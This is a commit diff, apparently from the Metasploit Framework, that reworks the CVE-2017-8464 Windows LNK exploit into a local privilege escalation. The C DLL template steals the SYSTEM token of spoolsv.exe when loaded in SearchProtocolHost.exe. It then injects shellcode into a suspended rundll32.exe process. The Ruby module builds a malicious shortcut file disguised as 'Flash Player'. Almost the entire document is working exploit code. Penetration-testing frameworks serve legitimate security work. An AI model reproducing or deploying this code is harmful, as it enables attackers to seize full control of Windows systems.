Change the template technicque to work as an LPE
This commit is contained in:
parent
825ad940e6
commit
d0ebfa1950
|
@ -8,8 +8,10 @@ ${CCx64}-gcc -m64 -c -Os template.c -Wall -shared
|
||||||
${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
|
${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
|
||||||
${CCx64}-strip -s temp.dll -o ../template_x64_windows.dll
|
${CCx64}-strip -s temp.dll -o ../template_x64_windows.dll
|
||||||
rm -f temp.dll *.o
|
rm -f temp.dll *.o
|
||||||
|
chmod -x ../template_x64_windows.dll
|
||||||
|
|
||||||
${CCx86}-gcc -c -Os template.c -Wall -shared
|
${CCx86}-gcc -c -Os template.c -Wall -shared
|
||||||
${CCx86}-dllwrap --def template.def *.o -o temp.dll
|
${CCx86}-dllwrap --def template.def *.o -o temp.dll
|
||||||
${CCx86}-strip -s temp.dll -o ../template_x86_windows.dll
|
${CCx86}-strip -s temp.dll -o ../template_x86_windows.dll
|
||||||
rm -f temp.dll *.o
|
rm -f temp.dll *.o
|
||||||
|
chmod -x ../template_x86_windows.dll
|
||||||
|
|
|
@ -1,25 +1,17 @@
|
||||||
// Based on https://github.com/rapid7/metasploit-framework/tree/cac890a797d0d770260074dfe703eb5cfb63bd46/data/templates/src/pe/dll
|
|
||||||
// - removed ExitThread(0) to prevent an Explorer crash
|
|
||||||
// - added Mutex to prevent invoking payload multiple times (at least try)
|
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
|
#include <sddl.h>
|
||||||
|
#include <tchar.h>
|
||||||
|
#include <tlhelp32.h>
|
||||||
|
#include <userenv.h>
|
||||||
|
|
||||||
#include "template.h"
|
#include "template.h"
|
||||||
|
|
||||||
void inline_bzero(void *p, size_t l)
|
void ExecutePayload(HANDLE hDll);
|
||||||
{
|
|
||||||
BYTE *q = (BYTE *)p;
|
|
||||||
size_t x = 0;
|
|
||||||
for (x = 0; x < l; x++)
|
|
||||||
*(q++) = 0x00;
|
|
||||||
}
|
|
||||||
|
|
||||||
void ExecutePayload(void);
|
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
|
||||||
|
switch (dwReason) {
|
||||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
|
|
||||||
{
|
|
||||||
switch (dwReason)
|
|
||||||
{
|
|
||||||
case DLL_PROCESS_ATTACH:
|
case DLL_PROCESS_ATTACH:
|
||||||
ExecutePayload();
|
ExecutePayload(hDll);
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case DLL_PROCESS_DETACH:
|
case DLL_PROCESS_DETACH:
|
||||||
|
@ -31,51 +23,215 @@ BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
|
||||||
case DLL_THREAD_DETACH:
|
case DLL_THREAD_DETACH:
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
void ExecutePayload(void)
|
BOOL StringEndsWithStringA(LPCSTR szStr, LPCSTR szSuffix, BOOL bCaseSensitive) {
|
||||||
{
|
int result;
|
||||||
|
|
||||||
|
if (strlen(szStr) < strlen(szSuffix)) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
if (bCaseSensitive) {
|
||||||
|
result = strcmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
result = _stricmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
|
||||||
|
}
|
||||||
|
return result == 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL GetProcessSid(HANDLE hProc, PSID *pSid) {
|
||||||
|
HANDLE hToken;
|
||||||
|
DWORD dwLength = 0;
|
||||||
|
TOKEN_USER *tuUser = NULL;
|
||||||
|
SIZE_T szSid = 0;
|
||||||
|
|
||||||
|
*pSid = NULL;
|
||||||
|
do {
|
||||||
|
if (!OpenProcessToken(hProc, (TOKEN_READ), &hToken)) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLength);
|
||||||
|
tuUser = (TOKEN_USER *)malloc(dwLength);
|
||||||
|
if (tuUser == NULL) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!GetTokenInformation(hToken, TokenUser, tuUser, dwLength, &dwLength)) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
szSid = GetLengthSid(tuUser->User.Sid);
|
||||||
|
*pSid = LocalAlloc(LPTR, szSid);
|
||||||
|
if (*pSid == NULL) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!CopySid((DWORD)szSid, *pSid, tuUser->User.Sid)) {
|
||||||
|
LocalFree(*pSid);
|
||||||
|
*pSid = NULL;
|
||||||
|
}
|
||||||
|
} while (FALSE);
|
||||||
|
|
||||||
|
if (tuUser != NULL) {
|
||||||
|
free(tuUser);
|
||||||
|
}
|
||||||
|
if (hToken) {
|
||||||
|
CloseHandle(hToken);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (*pSid != NULL) {
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL IsProcessRunningAsSidString(HANDLE hProc, LPCTSTR sStringSid, PBOOL pbResult) {
|
||||||
|
PSID pTestSid = NULL;
|
||||||
|
PSID pTargetSid = NULL;
|
||||||
|
|
||||||
|
if (!ConvertStringSidToSid(sStringSid, &pTargetSid)) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!GetProcessSid(hProc, &pTestSid)) {
|
||||||
|
LocalFree(pTargetSid);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
*pbResult = EqualSid(pTestSid, pTargetSid);
|
||||||
|
LocalFree(pTargetSid);
|
||||||
|
LocalFree(pTestSid);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD FindProcessId(LPCTSTR szProcessName) {
|
||||||
|
HANDLE hProcessSnap;
|
||||||
|
PROCESSENTRY32 pe32;
|
||||||
|
DWORD result = 0;
|
||||||
|
|
||||||
|
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||||
|
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||||
|
if (!Process32First(hProcessSnap, &pe32)) {
|
||||||
|
CloseHandle(hProcessSnap);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
do {
|
||||||
|
if (!strcmp(szProcessName, pe32.szExeFile)) {
|
||||||
|
result = pe32.th32ProcessID;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} while (Process32Next(hProcessSnap, &pe32));
|
||||||
|
CloseHandle(hProcessSnap);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE GetPayloadToken(void) {
|
||||||
|
HANDLE hTokenHandle = NULL;
|
||||||
|
HANDLE hProcessHandle = NULL;
|
||||||
|
BOOL bIsSystem = FALSE;
|
||||||
|
DWORD dwPid = 0;
|
||||||
|
CHAR Path[MAX_PATH + 1];
|
||||||
|
|
||||||
|
ZeroMemory(Path, sizeof(Path));
|
||||||
|
GetModuleFileNameA(NULL, Path, MAX_PATH);
|
||||||
|
if (!StringEndsWithStringA(Path, "\\SearchProtocolHost.exe", TRUE)) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
/* loaded into the context of SearchProtocolHost.exe */
|
||||||
|
|
||||||
|
if (IsProcessRunningAsSystem(GetCurrentProcess(), &bIsSystem) && (!bIsSystem)) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
/* and running as NT_AUTHORITY SYSTEM */
|
||||||
|
|
||||||
|
dwPid = FindProcessId("spoolsv.exe");
|
||||||
|
if (!dwPid) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
hProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);
|
||||||
|
if (!hProcessHandle) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
bIsSystem = FALSE;
|
||||||
|
if (IsProcessRunningAsSystem(hProcessHandle, &bIsSystem) && (!bIsSystem)) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
/* spoolsv.exe is also running as NT_AUTHORITY SYSTEM */
|
||||||
|
|
||||||
|
OpenProcessToken(hProcessHandle, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hTokenHandle);
|
||||||
|
CloseHandle(hProcessHandle);
|
||||||
|
return hTokenHandle;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI MonitorPayloadProcess(PEXPLOIT_DATA pExploitData) {
|
||||||
|
/* wait for the process to exit or 10 seconds before cleaning up */
|
||||||
|
WaitForSingleObject(pExploitData->hProcess, 10000);
|
||||||
|
CloseHandle(pExploitData->hProcess);
|
||||||
|
CloseHandle(pExploitData->hMutex);
|
||||||
|
|
||||||
|
/* this does not return */
|
||||||
|
FreeLibraryAndExitThread(pExploitData->hModule, 0);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void ExecutePayload(HANDLE hDll) {
|
||||||
PROCESS_INFORMATION pi;
|
PROCESS_INFORMATION pi;
|
||||||
STARTUPINFO si;
|
STARTUPINFO si;
|
||||||
CONTEXT ctx;
|
CONTEXT ctx;
|
||||||
LPVOID ep;
|
LPVOID ep;
|
||||||
HANDLE hMutex;
|
|
||||||
SECURITY_ATTRIBUTES MutexAttributes;
|
SECURITY_ATTRIBUTES MutexAttributes;
|
||||||
|
SIZE_T dwBytesWritten = 0;
|
||||||
|
PEXPLOIT_DATA pExploitData = NULL;
|
||||||
|
HANDLE hToken;
|
||||||
|
|
||||||
inline_bzero(&MutexAttributes, sizeof(MutexAttributes));
|
pExploitData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(EXPLOIT_DATA));
|
||||||
|
if (!pExploitData) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* keep a reference to the module for synchronization purposes */
|
||||||
|
GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, hDll, (HINSTANCE *)&(pExploitData->hModule));
|
||||||
|
|
||||||
|
ZeroMemory(&MutexAttributes, sizeof(MutexAttributes));
|
||||||
MutexAttributes.nLength = sizeof(MutexAttributes);
|
MutexAttributes.nLength = sizeof(MutexAttributes);
|
||||||
MutexAttributes.bInheritHandle = TRUE; // inherit the handle
|
MutexAttributes.bInheritHandle = TRUE; // inherit the handle
|
||||||
hMutex = CreateMutex(&MutexAttributes, TRUE, "MsfMutex");
|
pExploitData->hMutex = CreateMutex(&MutexAttributes, TRUE, "MUTEX!!!");
|
||||||
if(hMutex == NULL)
|
if (!pExploitData->hMutex) {
|
||||||
{
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if(GetLastError() == ERROR_ALREADY_EXISTS)
|
if (GetLastError() == ERROR_ALREADY_EXISTS) {
|
||||||
{
|
CloseHandle(pExploitData->hMutex);
|
||||||
CloseHandle(hMutex);
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if(GetLastError() == ERROR_ACCESS_DENIED)
|
if (GetLastError() == ERROR_ACCESS_DENIED) {
|
||||||
{
|
CloseHandle(pExploitData->hMutex);
|
||||||
CloseHandle(hMutex);
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Start up the payload in a new process
|
hToken = GetPayloadToken();
|
||||||
inline_bzero(&si, sizeof(si));
|
|
||||||
|
ZeroMemory(&si, sizeof(si));
|
||||||
si.cb = sizeof(si);
|
si.cb = sizeof(si);
|
||||||
|
|
||||||
// Create a suspended process, write shellcode into stack, resume it
|
/* start up the payload in a new process */
|
||||||
if(CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
|
if (CreateProcessAsUser(hToken, NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
|
||||||
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
|
ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;
|
||||||
GetThreadContext(pi.hThread, &ctx);
|
GetThreadContext(pi.hThread, &ctx);
|
||||||
|
|
||||||
ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
|
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, &dwBytesWritten);
|
||||||
|
if (dwBytesWritten == SCSIZE) {
|
||||||
|
|
||||||
#ifdef _WIN64
|
#ifdef _WIN64
|
||||||
ctx.Rip = (DWORD64)ep;
|
ctx.Rip = (DWORD64)ep;
|
||||||
|
@ -87,9 +243,12 @@ void ExecutePayload(void)
|
||||||
ResumeThread(pi.hThread);
|
ResumeThread(pi.hThread);
|
||||||
|
|
||||||
CloseHandle(pi.hThread);
|
CloseHandle(pi.hThread);
|
||||||
CloseHandle(pi.hProcess);
|
pExploitData->hProcess = pi.hProcess;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
CloseHandle(hMutex);
|
if (hToken) {
|
||||||
|
CloseHandle(hToken);
|
||||||
|
}
|
||||||
|
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorPayloadProcess, pExploitData, 0, NULL);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -1,3 +1,11 @@
|
||||||
#define SCSIZE 2048
|
#define SCSIZE 2048
|
||||||
unsigned char code[SCSIZE] = "PAYLOAD:";
|
unsigned char code[SCSIZE] = "PAYLOAD:";
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
HANDLE hModule;
|
||||||
|
HANDLE hMutex;
|
||||||
|
HANDLE hProcess;
|
||||||
|
} EXPLOIT_DATA, *PEXPLOIT_DATA;
|
||||||
|
|
||||||
|
#define SIDSTR_SYSTEM _T("s-1-5-18")
|
||||||
|
#define IsProcessRunningAsSystem(hProc, bResult) IsProcessRunningAsSidString(hProc, SIDSTR_SYSTEM, bResult)
|
||||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -47,8 +47,8 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'EXITFUNC' => 'thread',
|
'EXITFUNC' => 'process',
|
||||||
'WfsDelay' => 45,
|
'WfsDelay' => 30,
|
||||||
},
|
},
|
||||||
'Arch' => [ARCH_X86, ARCH_X64],
|
'Arch' => [ARCH_X86, ARCH_X64],
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
|
@ -78,14 +78,14 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true]),
|
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true]),
|
||||||
OptString.new('LNK_COMMENT', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']),
|
OptString.new('LnkComment', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']),
|
||||||
OptString.new('LNK_DISPLAY_NAME', [true, 'The display name to use in the generated LNK file', 'Flash Player'])
|
OptString.new('LnkDisplayName', [true, 'The display name to use in the generated LNK file', 'Flash Player'])
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
path = ::File.join(Msf::Config.data_directory, 'exploits/cve-2017-8464')
|
path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2017-8464')
|
||||||
arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch']
|
arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch']
|
||||||
datastore['EXE::Path'] = path
|
datastore['EXE::Path'] = path
|
||||||
datastore['EXE::Template'] = ::File.join(path, "template_#{arch}_windows.dll")
|
datastore['EXE::Template'] = ::File.join(path, "template_#{arch}_windows.dll")
|
||||||
|
@ -105,8 +105,8 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
def generate_link(path)
|
def generate_link(path)
|
||||||
vprint_status("Generating LNK file to load: #{path}")
|
vprint_status("Generating LNK file to load: #{path}")
|
||||||
path << "\x00"
|
path << "\x00"
|
||||||
display_name = datastore['LNK_DISPLAY_NAME'].dup << "\x00" # LNK Display Name
|
display_name = datastore['LnkDisplayName'].dup << "\x00" # LNK Display Name
|
||||||
comment = datastore['LNK_COMMENT'].dup << "\x00"
|
comment = datastore['LnkComment'].dup << "\x00"
|
||||||
|
|
||||||
# Control Panel Applet ItemID with our DLL
|
# Control Panel Applet ItemID with our DLL
|
||||||
cpl_applet = [
|
cpl_applet = [
|
||||||
|
|
Loading…
Reference in New Issue